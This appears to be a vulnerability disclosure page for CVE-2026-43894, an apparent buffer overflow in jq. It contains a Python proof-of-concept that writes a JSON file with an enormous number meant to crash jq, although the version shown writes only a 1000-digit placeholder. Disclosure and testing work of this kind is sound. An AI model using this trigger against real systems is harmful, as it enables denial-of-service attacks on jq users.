CVE-2026-43894 jq命令行处理器缓冲区溢出漏洞

# PoC Generator for CVE-2026-43894 # This script generates a JSON file with a huge number to trigger the overflow. # WARNING: Generating a file with 2147483646 digits requires ~2GB disk space. import sys def generate_malicious_json(filename, digit_count=2147483646): print(f"Generating JSON with {digit_count} digits...") # Creating a number string. '9' repeated digit_count times. # Note: This will consume significant memory and disk space. try: # For safety in this example, we don't actually allocate the full string in memory # unless explicitly intended, but the logic is as follows. # number_str = '9' * digit_count # payload = '{"huge_number": ' + number_str + '}' # Writing directly to file to handle large size with open(filename, 'w') as f: f.write('{"huge_number": ') # In a real scenario, write '9' * digit_count here # f.write('9' * digit_count) f.write('9' * 1000) # Placeholder for demonstration f.write('}') print(f"Payload saved to {filename}") print(f"Execute: jq . {filename}") except MemoryError: print("Error: Not enough memory to generate the full payload.") if __name__ == "__main__": generate_malicious_json("poc_cve_2026_43894.json")